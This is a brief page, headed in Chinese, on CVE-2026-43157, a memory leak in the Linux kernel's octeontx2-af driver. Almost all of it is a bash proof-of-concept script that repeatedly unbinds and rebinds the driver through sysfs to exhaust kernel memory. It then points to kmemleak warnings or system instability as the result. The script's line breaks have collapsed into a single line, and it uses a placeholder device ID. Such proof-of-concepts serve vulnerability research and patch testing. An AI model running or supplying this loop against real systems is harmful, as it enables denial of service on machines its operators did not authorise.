CVE-2026-43157: Linux内核octeontx2-af驱动内存泄露漏洞

#!/bin/bash # PoC to trigger memory leak in octeontx2-af driver # This script repeatedly unbinds and rebinds the driver to leak memory. # Reference: CVE-2026-43157 DRIVER_PATH="/sys/bus/platform/drivers/octeontx2-af" DEVICE_ID="af0000000000" # Example device ID, may vary if [ ! -d "$DRIVER_PATH" ]; then echo "Driver path not found. System may not be vulnerable." exit 1 fi echo "Starting exploit loop to trigger memory leak..." for i in {1..1000} do # Unbind the driver to trigger cleanup (which is buggy) echo "$DEVICE_ID" > "$DRIVER_PATH/unbind" 2>/dev/null # Rebind the driver to trigger re-initialization echo "$DEVICE_ID" > "$DRIVER_PATH/bind" 2>/dev/null if [ $((i % 100)) -eq 0 ]; then echo "Iterations: $i" fi done echo "Exploit loop finished. Check dmesg for kmemleak warnings or system instability."